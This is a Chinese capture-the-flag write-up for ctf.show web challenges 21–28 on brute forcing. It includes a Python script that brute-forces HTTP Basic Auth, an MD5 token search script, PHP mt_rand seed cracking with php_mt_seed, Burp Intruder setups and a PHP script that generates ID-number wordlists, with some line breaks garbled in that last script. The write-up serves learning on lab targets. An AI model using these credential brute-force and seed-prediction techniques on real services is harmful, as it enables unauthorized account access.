web21-28爆破篇

2023/03/13 13:52:49

相关文章及参考资料

暴力破解(生成字典、爆破服务、爆破登录、解密、BurpSuite工具讲解)

PS

做完了我才发现这些题的字典实在web21里面需要下载…

web21

爆破什么的,都是基操

burpsuite爆破:https://www.cnblogs.com/007NBqaq/p/13220297.html

直接展示登陆界面,随便输点什么,抓包,可以发现把账号密码放在了请求头中,并且根据末尾的==可以看出是base64加密,因此我们直接尝试Intruder模块爆破。
原理我们都懂,但是我们该如何操作呢?

方案一 burpsuite爆破

将请求转入intruder,因为会拼接payload,所以使用基本的sniper类型就行,在payload sets里面修改payload tpe为Custom Interator,并且在payload option中按照顺序修改三个position。
image.png
image.png
image.png
image.png
而且我们观察可以注意到,我们还需要将payload使用base64加密,因此在payload processing里面添加转换:
image.png
最后再将末尾的转义关闭。
image.png
这种情况下爆破即可。
image.png

方案二 脚本爆破

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-11-20 19:16:49
# @Last Modified by:   h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import time
import requests
import base64

url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'

password = []

with open("1.txt", "r") as f:  
	while True:
	    data = f.readline() 
	    if data:
	    	password.append(data)
	    else:
	      break
	    


for p in password:
	strs = 'admin:'+ p[:-1]
	header={
		'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
	}
	rep =requests.get(url,headers=header)
	time.sleep(0.2)
	if rep.status_code ==200:
		print(rep.text)
		break

web22

域名也可以爆破的,试试爆破这个ctf.show的子域名

web23

还爆破?这么多代码,告辞!

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

这题考的是脚本编写,直接使用脚本:

import hashlib
dic = '0123456789qwertyuiopasdfghjklzxcvbnm'
for a in dic:
    for b in dic:
        t = str(a) + str(b)
        md5 = hashlib.md5(t.encode()).hexdigest()
        # print(md5)
        # print(md5[1:2])
        # print(md5[14:15])
        # print(md5[17:18])
        if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
            if (ord(md5[1:2])) >= 48 and ord(md5[1:2]) <= 57 and (ord(md5[14:15])) >= 48 and ord(md5[14:15]) <= 57:
                if (ord(md5[17:18])) >= 48 and ord(md5[17:18]) <= 57 and (ord(md5[31:32])) >= 48 and ord(
                        md5[31:32]) <= 57:
                    if (int(md5[1:2]) + int(md5[14:15]) + int(md5[17:18])) / int(md5[1:2]) == int(md5[31:32]):
                        print(t)

这里面我最开始写的时候没有12-14行,虽然会报错但是也能运行,wp中将其完善了一下。得到运行结果3j
直接post传入即可得到flag。
image.png

Q&A

Q:这里为什么分别用ord和int:
A:int改变数据类型,外型不变;ord改变数据类型,值不改变:
20180517204019346.png

web24

爆个🔨

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?>

方案一

代码中的mt_srand()为随机数生成器设定种子,可以之后调用随机数生成器,可以保证随机数生成的相同。所以这题很明确了,直接找到生成的随机数即可。
用PHPStorm找一下:

<?php
$a = mt_srand(372619038);
$b = mt_rand();
echo $b;
?>

image.png
然后直接get传入即可:image.png

web25

<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

其中hexdec()函数将十六进制转化为十进制。
猪脑过载了,开始打算写脚本跑出来第一个(第七行)的mt_rand()的值,但似乎直接给r传入0就行……
直接将r传入0,得到第一个mt_rand的值1277101134(即时生成的)。这时候,我们的目标就转化为尝试找到原种子的值。在搜索之后,发现有一个php_mt_seed的项目可以尝试破解出原种子的值。

php_mt_seed

下载:https://www.openwall.com/php_mt_seed/
下载之后直接在kali中解压中即可(可以使用windows,但是需要g++编译,因为之前没安装过)
解压之后需要先make一下生成文件(我这里刚刚更新过)

make

image.png
然后

time ./php_mt_seed 1277101134

等待它找到seed。
image.png
然后将生成的mt_rand()的结果相加:

<?php
$a = array(3352708826, 3352708827, 72059293, 379534775, 2177040484, 2437797623, 3102727756, 3907641824);
for ($f = 0; $f < 11; $f++){
    mt_srand($a[$f]);
    echo $f;
    echo "\n";
    echo mt_rand();
    echo "\n";
    $b = mt_rand();
    echo $b;
    echo "\n";
    $c = mt_rand();
    echo $c;
    echo "\n";
    echo $b + $c;
    echo "\n";
    echo "\n";
}
?>

image.png
然后就是一个一个尝试进去得到flag:
image.png

web26

上来就是连接数据库,但是似乎全为空的时候就连接成功了,应该是bug。
image.png
爆破的话可能费点劲了
image.png

web27

方案一

这题有点意思,上来就是一个登陆页面:
image.png
下方有一个录取名单获取,下载一下:
image.png
网页中还有一个学籍管理系统,估计就是用这个来查找了,我们可以尝试爆破这个页面:
image.png
image.png
修改payload类型
image.png
image.png
然后直接查询。
image.png
这下就得到了账号:02015237 密码:621022199002015237
返回去登陆页面。登录即可
image.png

方案二

wp提供的脚本:

<?php
//621022********5237
$myfile = fopen("zid.txt", "w") or die("Unable to open file!");
for($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.'0'.$mon.'0'.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year."0".$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year.$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.$mon."0".$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
close($myfile);

web28

上来页面中什么也没有,但是注意到域名中有蹊跷:
image.png
提示里面写了只用爆破目录即可,因此修改intruder。
image.png

注意

他说的爆破目录修改的payload应该是:/0/1/而不是/0/1,后者会返回重定向301